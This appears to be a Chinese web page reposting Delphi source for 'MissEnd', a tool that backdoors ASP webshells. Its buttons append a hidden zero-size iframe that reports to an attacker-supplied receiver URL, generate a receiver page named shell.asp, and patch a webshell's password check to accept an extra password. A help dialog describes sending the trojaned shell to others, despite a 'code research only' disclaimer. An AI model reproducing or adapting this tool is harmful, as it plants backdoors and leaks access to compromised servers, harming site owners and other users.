注册
登录
| 关键词： nbsp 程序 spSkinButton Missend procedure TObject Sender saveedit Text TForm |
procedure TForm1.spSkinButton1Click(Sender: TObject);vartf:textfile;begin AssignFile(tf, 'Missend.TXT'); //打开Missend.txt文件 Append(tf); Writeln(tf, '<iframe src='+ spskinedit1.text +' width=0 height=0></iframe> '); //不覆盖原文本添加代码"<iframe src='+ Edit1text（文本内容）width=0 height=0></iframe> '); CloseFile(tf); ShowMessage('后门已经插入成功！'); //发出提示窗口"后门已近插入成功!"end; procedure TForm1.spSkinButton2Click(Sender: TObject);var saveedit:TStringList; begin saveedit := Tstringlist.Create;saveedit.Text := edit1.Text; //将edit1.text内容saveedit.SaveToFile(ExtractFilePath(Application.ExeName)+'shell.asp');//生成到程序更目录"名为shell.asp"saveedit.Free;ShowMessage('收信程序生成成功！'); //弹出对话框 收信程序生成成功！end; procedure TForm1.spSkinButton3Click(Sender: TObject);beginIF (Application.MessageBox('软件由Gongchao编写，请勿用于违法，本程序只供代码研究！', 'MissEnd：', MB_YESNO) = IDYES) THEN DoExit; //弹出对话框显示版权end;procedure TForm1.spSkinButton4Click(Sender: TObject);beginShellExecute(Handle, 'Open', 'IEXPLORE.EXE', 'http://www.missend.cn/', '', SW_SHOWNORMAL);//调用IE打开网页'http://www.missend.cn/end; procedure TForm1.spSkinButton5Click(Sender: TObject);beginIF (Application.MessageBox('先点击生成收信程序然后将收信程序放到空间里名字可自定，然后将收信程序地址输入，将马儿重命名为"Missend.txt"且与本程序放到同目录，点击插入。OK。将马儿发给别人（不提倡，鄙视！。。），o(∩_∩)o...', 'MissEnd：', MB_YESNO) = IDYES) THEN DoExit;end; procedure TForm1.spSkinButton6Click(Sender: TObject);begin if opendialog1.execute then memo1.Lines.LoadFromFile(opendialog1.filename); //opendialog控件打开文件显示到MEMO1 memo1.Text:=stringreplace(memo1.Text,'iF REquesT.foRM("pass")=uSERPASS Then','iF REquesT.foRM("pass")=uSERPASS or request.form("pass")=" '+ edit2.text+'" Then',[rfReplaceAll]);memo1.lines.savetofile(opendialog1.filename); //将MEMO1.TEXT文本内容替换 end; end. |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
